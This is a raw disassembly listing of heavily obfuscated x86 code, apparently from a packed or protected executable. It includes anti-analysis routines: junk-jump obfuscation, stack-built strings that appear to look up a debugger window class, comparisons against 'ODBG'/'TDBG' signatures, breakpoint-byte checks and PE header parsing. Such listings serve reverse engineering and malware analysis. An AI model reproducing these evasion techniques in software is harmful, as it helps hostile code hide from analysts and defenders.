; FUNCTION CHUNK AT 00426632 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0042758A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042783E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004280F0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428534 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004289FC SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00428D7B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042B511 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042B5EC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042B813 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B8F2 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042C29F SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042C550 SIZE 0000002A BYTES
xchg ebp, eax
push eax
xchg ebp, eax
jmp loc_4241F4
sub_421D33 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_421D3D: ; CODE XREF: _94j21ax3:0042208Dj
and ecx, eax
jnp loc_42350C
; START OF FUNCTION CHUNK FOR sub_423FCD
loc_421D45: ; CODE XREF: sub_423FCD:loc_422075j
add eax, 992004Ah
xor edx, edx
cpuid
and eax, 0FFFh
add [esi], eax
xor [esi], edx
jmp loc_4222C8
; END OF FUNCTION CHUNK FOR sub_423FCD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42426B
loc_421D5D: ; CODE XREF: sub_42426B:loc_4230AAj
push edi
push ebx
push ecx
mov eax, esp
push 701D2766h
sub [esp+10h+var_10], 701D2766h
jmp loc_42B00F
; END OF FUNCTION CHUNK FOR sub_42426B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42134B
loc_421D73: ; CODE XREF: sub_42134B+123Bj
; sub_42B487:loc_422DACj ...
lea eax, [ebp-20h]
mov dword ptr [eax], 70736957h
lea eax, [ebp-1Ch]
jno loc_421A0B
mov dword ptr [eax], 646E6957h
; END OF FUNCTION CHUNK FOR sub_42134B
; START OF FUNCTION CHUNK FOR sub_426716
loc_421D8B: ; CODE XREF: sub_426716:loc_42671Fj
lea eax, [ebp+var_18]
mov dword ptr [eax], 6C43776Fh
jmp loc_42342C
; END OF FUNCTION CHUNK FOR sub_426716
; ---------------------------------------------------------------------------
jb loc_42B1E2
jmp sub_42AB72
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428BBD
loc_421DA4: ; CODE XREF: sub_428BBD:loc_427DE7j
add ebx, 0EED3ABA7h
xchg ebx, [esp+4+var_4]
jmp sub_421246
; END OF FUNCTION CHUNK FOR sub_428BBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421F28
loc_421DB2: ; CODE XREF: sub_421F28:loc_429D3Dj
jz loc_424677
jmp loc_42B2E1
; END OF FUNCTION CHUNK FOR sub_421F28
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425324
loc_421DBD: ; CODE XREF: sub_425324:loc_427C5Fj
mov ebp, esi
jmp loc_42A630
; END OF FUNCTION CHUNK FOR sub_425324
; =============== S U B R O U T I N E =======================================
sub_421DC4 proc near ; CODE XREF: sub_423324+3Fj
; sub_423F55+302Dp
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 0042192E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042218F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00428910 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042A12D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042B954 SIZE 00000016 BYTES
xchg ecx, [esp+0]
pop ecx
cmp dword ptr [ebp-4], 0
jz loc_423F37
mov eax, [ebp-4]
add eax, 3Ch
loc_421DD8: ; CODE XREF: _94j21ax3:00423BEDj
jmp loc_421DF3
; ---------------------------------------------------------------------------
loc_421DDD: ; CODE XREF: sub_4259BF:loc_42468Dj
pop ecx
mov [ebx], eax
xchg ebp, [esp-8+arg_4]
mov ebx, ebp
pop ebp
mov dword ptr [ebp-0Ch], 1
loc_421DED: ; CODE XREF: _94j21ax3:00425396j
jmp loc_42B954
; ---------------------------------------------------------------------------
locret_421DF2: ; CODE XREF: _94j21ax3:loc_42531Fj
retn
; ---------------------------------------------------------------------------
loc_421DF3: ; CODE XREF: sub_421DC4:loc_421DD8j
jmp loc_42218F
sub_421DC4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426744
loc_421DF8: ; CODE XREF: sub_426744:loc_428B9Cj
xchg edi, [esp+0]
mov ebp, edi
pop edi
xor eax, eax
mov [ebp-4], eax
push 4F25D9C5h
pop eax
sub eax, 8A8CCB02h
jmp loc_42394B
; END OF FUNCTION CHUNK FOR sub_426744
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42270C
loc_421E14: ; CODE XREF: sub_42270C+8j
; sub_42315D+8C6Dj
rol eax, 0Bh
push eax
call sub_423F43
retn
; END OF FUNCTION CHUNK FOR sub_42270C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427E13
loc_421E1E: ; CODE XREF: sub_427E13+12j
jmp loc_42136C
; END OF FUNCTION CHUNK FOR sub_427E13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422866
loc_421E23: ; CODE XREF: sub_422866+Cj
jmp loc_42A170
; END OF FUNCTION CHUNK FOR sub_422866
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424839
loc_421E28: ; CODE XREF: _94j21ax3:00421D27j
; sub_424839+6j
call sub_42C057
jmp loc_42B59C
; END OF FUNCTION CHUNK FOR sub_424839
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427D53
loc_421E32: ; CODE XREF: sub_427D53:loc_42383Aj
xor ecx, 0ED6D4C97h
add ecx, 0E572BB30h
xchg ecx, [esp+0]
jmp loc_4229C1
; END OF FUNCTION CHUNK FOR sub_427D53
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427D65
loc_421E46: ; CODE XREF: sub_427D65-4C47j
push 0A79DCF79h
pop eax
rol eax, 2
add eax, 0CED43873h
xor eax, 0ED4B765Ah
xor ebx, ebx
xor ecx, ecx
xor edx, edx
jmp loc_4216E6
; END OF FUNCTION CHUNK FOR sub_427D65
; ---------------------------------------------------------------------------
loc_421E66: ; DATA XREF: sub_426B65:loc_424BC3o
rol eax, 0Fh
push eax
call sub_423F43
retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_29. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4248E7
loc_421E71: ; CODE XREF: sub_4248E7-1B00j
mov eax, [ebp-0Ch]
jmp loc_42BF20
; END OF FUNCTION CHUNK FOR sub_4248E7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_421E79: ; CODE XREF: sub_422EB0+646Fj
and ebp, ebx
loc_421E7B: ; CODE XREF: sub_422EB0:loc_424E17j
lea eax, [ebp-2BBh]
cmp dword ptr [eax], 47424454h
jz loc_42A566
jmp loc_42AA8C
; END OF FUNCTION CHUNK FOR sub_422EB0
; ---------------------------------------------------------------------------
mov [ebx], ebp
sub edi, 94FA5EF2h
jmp sub_42454E
; ---------------------------------------------------------------------------
loc_421E9F: ; DATA XREF: sub_42BAD4-9731o
dec dword ptr [ebp-1Ch]
jnz loc_428EB0
jmp loc_424B71
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421EAD proc near ; CODE XREF: sub_4291BC-7655p
; sub_423324:loc_4233D8p ...
; FUNCTION CHUNK AT 00421A4A SIZE 00000005 BYTES
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
push offset loc_42796B
jmp loc_421A4A
sub_421EAD endp
; ---------------------------------------------------------------------------
loc_421EBD: ; CODE XREF: _94j21ax3:00428615j
sub ecx, 6285C59Fh
xor ecx, 0BDE3911Fh
add ecx, ebp
add ecx, 0C8949CB2h
jmp loc_4287B4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_110. PRESS KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_86. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B9CF
loc_421ED8: ; CODE XREF: sub_42B9CF-724j
call sub_42C057
test al, al
jmp loc_42947D
; END OF FUNCTION CHUNK FOR sub_42B9CF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C24F
loc_421EE4: ; CODE XREF: sub_42C24F-403Dj
pop eax
add ebp, 0B74FE157h
loc_421EEB: ; CODE XREF: sub_42C24F:loc_42C53Cj
call sub_42328F
; END OF FUNCTION CHUNK FOR sub_42C24F
; START OF FUNCTION CHUNK FOR sub_423BF8
loc_421EF0: ; CODE XREF: sub_423BF8+4468j
jmp loc_423D14
; END OF FUNCTION CHUNK FOR sub_423BF8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4259BF
loc_421EF5: ; CODE XREF: sub_4259BF+C3Ej
jmp nullsub_125
; END OF FUNCTION CHUNK FOR sub_4259BF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422866
loc_421EFA: ; CODE XREF: sub_422866:loc_42486Bj
jnz loc_423C17
jmp loc_424EC8
; END OF FUNCTION CHUNK FOR sub_422866
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421D33
loc_421F05: ; CODE XREF: sub_421D33:loc_4280F0j
mov dword ptr [eax], 474244h
push 0
lea eax, [ebp-20h]
push eax
call sub_42B83A
push esi
jmp loc_423EDE
; END OF FUNCTION CHUNK FOR sub_421D33
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_421F1C: ; CODE XREF: sub_42284F-131Aj
push offset loc_427F26
jmp loc_4274C3
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
loc_421F26: ; CODE XREF: _94j21ax3:0042B57Aj
sbb ebx, ecx
; =============== S U B R O U T I N E =======================================
sub_421F28 proc near ; CODE XREF: sub_4254AE+F5Ap
; FUNCTION CHUNK AT 00421100 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004217AD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00421882 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00421DB2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00423CBF SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00423EB6 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004244DB SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00424676 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00424BB9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042702F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00427905 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042790D SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004285BA SIZE 0000001E BYTES
; FUNCTION CHUNK AT 004291FA SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00429A51 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429D35 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042A057 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042ADB1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042B1A8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042B2E1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B6A6 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0042BCAB SIZE 00000005 BYTES
mov [esp+0], edx
pop edx
or eax, eax
jnz loc_429D35
jmp loc_42702F
sub_421F28 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_421F39: ; CODE XREF: _94j21ax3:0042399Aj
cmp ebx, 1B1AAEFAh
jmp loc_423B8D
; ---------------------------------------------------------------------------
locret_421F44: ; CODE XREF: _94j21ax3:loc_42AFE4j
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A254
loc_421F45: ; CODE XREF: sub_42A254+9j
mov eax, ds:dword_42407C
or eax, eax
jnz loc_423832
jmp loc_425068
; END OF FUNCTION CHUNK FOR sub_42A254
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4239A5
loc_421F58: ; CODE XREF: sub_4239A5:loc_429F78j
push offset loc_4259A6
jmp loc_42475E
; END OF FUNCTION CHUNK FOR sub_4239A5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428EDA
loc_421F62: ; CODE XREF: sub_428EDA-73A5j
xor eax, eax
retn
; END OF FUNCTION CHUNK FOR sub_428EDA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C1AE
loc_421F65: ; CODE XREF: sub_42C1AE-4BC8j
jmp loc_421C38
; END OF FUNCTION CHUNK FOR sub_42C1AE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422898
loc_421F6A: ; CODE XREF: sub_422898+9j
call sub_426C2E
loc_421F6F: ; CODE XREF: sub_42284F+1139j
jz loc_42C2AC
loc_421F75: ; CODE XREF: sub_42284F:loc_42ADF8j
push eax
push 2F14513Ch
xor eax, 0B07AF54Fh
jmp loc_42434F
; END OF FUNCTION CHUNK FOR sub_422898
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B358
loc_421F86: ; CODE XREF: sub_42B358-5E9j
add edx, 0B3A13B91h
mov edx, [edx]
mov eax, [edx]
add edx, 4
mov edx, [edx]
push edx
push eax
push edi
jmp loc_4295C0
; END OF FUNCTION CHUNK FOR sub_42B358
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C0BC
loc_421F9D: ; CODE XREF: sub_42C0BC:loc_42560Bj
jl loc_424529
; END OF FUNCTION CHUNK FOR sub_42C0BC
; START OF FUNCTION CHUNK FOR sub_423C3E
loc_421FA3: ; CODE XREF: sub_423C3E-1543j
jmp nullsub_134
; END OF FUNCTION CHUNK FOR sub_423C3E
; ---------------------------------------------------------------------------
xchg esi, ebx
popf
jg loc_427527
; START OF FUNCTION CHUNK FOR sub_422C48
loc_421FB1: ; CODE XREF: sub_422C48:loc_42C1DDj
shr esi, 10h
jmp loc_424523
; END OF FUNCTION CHUNK FOR sub_422C48
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_181. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_421FBA: ; CODE XREF: _94j21ax3:0042B6A1j
jmp locret_42AE16
; ---------------------------------------------------------------------------
loc_421FBF: ; CODE XREF: _94j21ax3:00428572j
jmp locret_422EDF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_421FC4: ; CODE XREF: sub_4294B3-5C00j
jmp loc_42750E
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421402
loc_421FC9: ; CODE XREF: sub_421402+27j
rol ebx, 1Ch
cmp ebx, 0B108C25Eh
jmp loc_42885D
; END OF FUNCTION CHUNK FOR sub_421402
; ---------------------------------------------------------------------------
loc_421FD7: ; CODE XREF: _94j21ax3:loc_42479Dj
not ebp
loc_421FD9: ; CODE XREF: _94j21ax3:00427CDFj
jmp loc_42AB7E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429974
loc_421FDE: ; CODE XREF: sub_429974+4j
mov [esp+4+var_4], ecx
mov esp, ebp
pop ebp
mov eax, ds:dword_429F70
or eax, eax
jnz loc_428717
jmp loc_42C349
; END OF FUNCTION CHUNK FOR sub_429974
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4248E7
loc_421FF7: ; CODE XREF: sub_4248E7-373Ej
jz loc_425210
loc_421FFD: ; CODE XREF: sub_423324-F40j
jmp loc_429245
; END OF FUNCTION CHUNK FOR sub_4248E7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428620
loc_422002: ; CODE XREF: sub_428620:loc_42211Bj
xor edi, 0D246B1BBh
add edi, 0BD7CAA1h
xchg edi, [esp+0]
jmp sub_42B079
; END OF FUNCTION CHUNK FOR sub_428620
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_422016: ; CODE XREF: sub_423324+3A14j
sbb eax, 1E31D558h
loc_42201C: ; CODE XREF: sub_423324:loc_426680j
push edx
push 4E3D1EF2h
pop edx
xor edx, 9F7ECBF7h
jmp loc_427732
; END OF FUNCTION CHUNK FOR sub_423324
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_66. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421047
loc_42202F: ; CODE XREF: sub_421047+Aj
jmp loc_42573B
; END OF FUNCTION CHUNK FOR sub_421047
; =============== S U B R O U T I N E =======================================
sub_422034 proc near ; CODE XREF: sub_42AA5F-6986p
; _94j21ax3:0042772Dj
mov [esp+0], edx
pop edx
mov edx, 0A2CD59D9h
call sub_422048
mov ds:dword_425BD0, eax
retn
sub_422034 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_422048 proc near ; CODE XREF: sub_422034+9p
; sub_42780F-427Bp ...
; FUNCTION CHUNK AT 004220B2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00422326 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042281D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004243D1 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00424D40 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042525C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427103 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004271AB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00429ED1 SIZE 0000000A BYTES
push ebp
jmp loc_4243D1
sub_422048 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42972F
loc_42204E: ; CODE XREF: sub_42972F-2B20j
call sub_42ABB1
; END OF FUNCTION CHUNK FOR sub_42972F
; START OF FUNCTION CHUNK FOR sub_424DE8
loc_422053: ; CODE XREF: sub_424DE8+27D3j
jmp loc_424649
; END OF FUNCTION CHUNK FOR sub_424DE8
; =============== S U B R O U T I N E =======================================
sub_422058 proc near ; CODE XREF: _94j21ax3:00422623j
; _94j21ax3:004273D2p
mov [esp+0], edi
pop edi
call sub_42574E
mov edx, 6A74FD15h
call sub_422401
sub_422058 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_429A83
loc_42206B: ; CODE XREF: sub_429A83-17DAj
; sub_423324:loc_42BE96j
jmp loc_4253F7
; END OF FUNCTION CHUNK FOR sub_429A83
; ---------------------------------------------------------------------------
loc_422070: ; CODE XREF: _94j21ax3:004242BFj
jmp loc_423E68
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423FCD
loc_422075: ; CODE XREF: sub_423FCD+2A92j
jge loc_421D45
; END OF FUNCTION CHUNK FOR sub_423FCD
; START OF FUNCTION CHUNK FOR sub_427849
loc_42207B: ; CODE XREF: sub_427849-408Cj
jmp loc_42B41A
; END OF FUNCTION CHUNK FOR sub_427849
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_422080: ; CODE XREF: sub_423324-191Ej
jmp loc_422157
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
sbb eax, edi
jbe loc_4236B9
jmp loc_421D3D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424320
loc_422092: ; CODE XREF: sub_424320-54Aj
push 0D0C05DEFh
pop edi
add edi, 2F8259CBh
xchg edi, [esp+4+var_4]
jmp sub_4239A5
; END OF FUNCTION CHUNK FOR sub_424320
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421D33
loc_4220A6: ; CODE XREF: sub_421D33+24D8j
cmp eax, 229F6B31h
jmp loc_428D7B
; END OF FUNCTION CHUNK FOR sub_421D33
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_220. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422048
loc_4220B2: ; CODE XREF: sub_422048+239Fj
jmp loc_422326
; END OF FUNCTION CHUNK FOR sub_422048
; =============== S U B R O U T I N E =======================================
sub_4220B7 proc near ; DATA XREF: sub_42463C+3o
; FUNCTION CHUNK AT 0042107B SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00429CE1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429E29 SIZE 00000005 BYTES
push ecx
mov esp, ebp
pop ebp
mov eax, ds:dword_42C224
or eax, eax
jnz loc_42107B
jmp loc_429E29
sub_4220B7 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C0BC
loc_4220CE: ; CODE XREF: sub_42C0BC-1CA6j
push 1F9D0001h
pop ebx
or ebx, 0CFAFEA16h
cmp ebx, 31F050C0h
jmp loc_42560B
; END OF FUNCTION CHUNK FOR sub_42C0BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_4220E5: ; CODE XREF: sub_423324:loc_4257B7j
jnz loc_427871
jmp loc_428ABD
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A7A6
loc_4220F0: ; CODE XREF: sub_42A7A6-8B73j
adc eax, esi
push 2FD81DC1h
jmp loc_42386D
; END OF FUNCTION CHUNK FOR sub_42A7A6
; =============== S U B R O U T I N E =======================================
sub_4220FC proc near ; DATA XREF: sub_42484C+3C5Ao
or [ecx+edx], al
mov ecx, [ebp-18h]
and ecx, 7
push offset sub_426FE1
jmp loc_42B509
sub_4220FC endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423F55
loc_422110: ; CODE XREF: sub_423F55+81D6j
jmp loc_426B46
; END OF FUNCTION CHUNK FOR sub_423F55
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_422115: ; CODE XREF: sub_42284F+56ACj
jmp loc_42A165
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
locret_42211A: ; CODE XREF: _94j21ax3:00425917j
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428620
loc_42211B: ; CODE XREF: sub_428620+Ej
jmp loc_422002
; END OF FUNCTION CHUNK FOR sub_428620
; ---------------------------------------------------------------------------
loc_422120: ; CODE XREF: _94j21ax3:004229D8j
call sub_42C057
test al, al
jz loc_427153
jmp loc_421CB6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_211. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_422133: ; CODE XREF: sub_4294B3-52EEj
jmp loc_4268DC
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428FFB
loc_422138: ; CODE XREF: sub_428FFB:loc_42693Dj
; _94j21ax3:loc_42BCFDj
pop eax
add eax, 0DDD9BFE6h
add eax, ebp
; END OF FUNCTION CHUNK FOR sub_428FFB
; =============== S U B R O U T I N E =======================================
sub_422141 proc near ; CODE XREF: sub_42C5E8-555j
; FUNCTION CHUNK AT 00425A8A SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00426F26 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A885 SIZE 00000010 BYTES
push ebx
push 99199705h
pop ebx
jmp loc_425A8A
sub_422141 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_42214D: ; CODE XREF: sub_4294B3:loc_42529Ej
; sub_4294B3-26E6j
push 0
push 0
push 10h
mov eax, [ebp-8]
push eax
; END OF FUNCTION CHUNK FOR sub_4294B3
; START OF FUNCTION CHUNK FOR sub_423324
loc_422157: ; CODE XREF: sub_423324:loc_422080j
call sub_42BA8A
jmp loc_429F68
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42265F
loc_422161: ; CODE XREF: sub_42265F:loc_422665j
pop esi
mov eax, ds:dword_42C230
or eax, eax
jnz loc_42B826
jmp loc_42532B
; END OF FUNCTION CHUNK FOR sub_42265F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426F9E
loc_422175: ; CODE XREF: sub_426F9E:loc_429F32j
mov ebp, esp
add esp, 0FFFFFFECh
cmp ds:byte_426F58, 0
jnz loc_428468
lea edx, [ebp-14h]
jmp loc_424BBE
; END OF FUNCTION CHUNK FOR sub_426F9E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421DC4
loc_42218F: ; CODE XREF: sub_421DC4:loc_421DF3j
mov eax, [eax]
add eax, [ebp-4]
add eax, 18h
jmp loc_42192E
; END OF FUNCTION CHUNK FOR sub_421DC4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423F55
loc_42219C: ; CODE XREF: sub_423F55:loc_427E01j
xor eax, eax
call sub_4244A5
; END OF FUNCTION CHUNK FOR sub_423F55
; =============== S U B R O U T I N E =======================================
sub_4221A3 proc near ; CODE XREF: _94j21ax3:004276BAj
; _94j21ax3:00428D0Dp
mov [esp+0], eax
pop eax
cmp dword ptr [eax], 4742444Fh
jz loc_42A566
jmp loc_427418
sub_4221A3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4221B8 proc near ; CODE XREF: sub_42284F-CB6p
; _94j21ax3:00425ABCj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00421375 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042416F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00425A2A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00426E03 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004271B5 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00427307 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00427F89 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00429017 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429356 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AAF3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042AC71 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AF73 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042B942 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042BAB1 SIZE 00000005 BYTES
xchg edx, [esp+0]
pop edx
push 46F68736h
pop edi
jmp loc_42AC71
sub_4221B8 endp ; sp-analysis failed
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_106. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423F55
loc_4221C8: ; CODE XREF: sub_423F55:loc_422C43j
test al, al
jnz loc_42C454
mov eax, [ebp-4]
cmp byte ptr [eax], 0E8h
jnz loc_426C90
jmp loc_4233A9
; END OF FUNCTION CHUNK FOR sub_423F55
; ---------------------------------------------------------------------------
add esp, 10h
pop ebp
call sub_424791
; START OF FUNCTION CHUNK FOR sub_4244BB
loc_4221EA: ; CODE XREF: sub_4244BB+16j
jmp sub_4239A5
; END OF FUNCTION CHUNK FOR sub_4244BB
; ---------------------------------------------------------------------------
not ecx
jmp sub_42270C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4244A5
loc_4221F6: ; CODE XREF: sub_4244A5:loc_423100j
pop esi
xor esi, 0DE8BD8ABh
add esi, 0C8F1791Dh
mov [esi], eax
pop esi
jmp nullsub_33
; END OF FUNCTION CHUNK FOR sub_4244A5
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42220B proc near ; DATA XREF: sub_4236B8:loc_4236B9o
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 004213DB SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00427F5F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042B101 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042B7EF SIZE 0000000B BYTES
mov ebp, esp
push ecx
mov [ebp+var_4], eax
call sub_428A7E
xchg ebx, edx
jmp loc_4213DB
sub_42220B endp
; ---------------------------------------------------------------------------
loc_42221D: ; CODE XREF: _94j21ax3:00427A8Aj
not esi
; =============== S U B R O U T I N E =======================================
sub_42221F proc near ; CODE XREF: sub_4244A5:loc_4230FBp
; FUNCTION CHUNK AT 0042A125 SIZE 00000008 BYTES
xchg esi, [esp+0]
pop esi
mov eax, [ebp-4]
add eax, 3Ch
jmp loc_42A125
sub_42221F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
add esi, 8A7668A0h
cmp edx, eax
jmp loc_42894E
; ---------------------------------------------------------------------------
loc_42223B: ; DATA XREF: sub_42A7A6:loc_42242Co
call sub_4239A5
mov [ebp-4], eax
loc_422243: ; CODE XREF: _94j21ax3:00425B87j
cmp dword ptr [ebp-4], 0
jz loc_424949
jmp loc_42B66C
; ---------------------------------------------------------------------------
loc_422252: ; CODE XREF: _94j21ax3:0042C1D8j
cmp ebp, edi
jmp loc_42A215
; ---------------------------------------------------------------------------
push esi
or esi, ecx
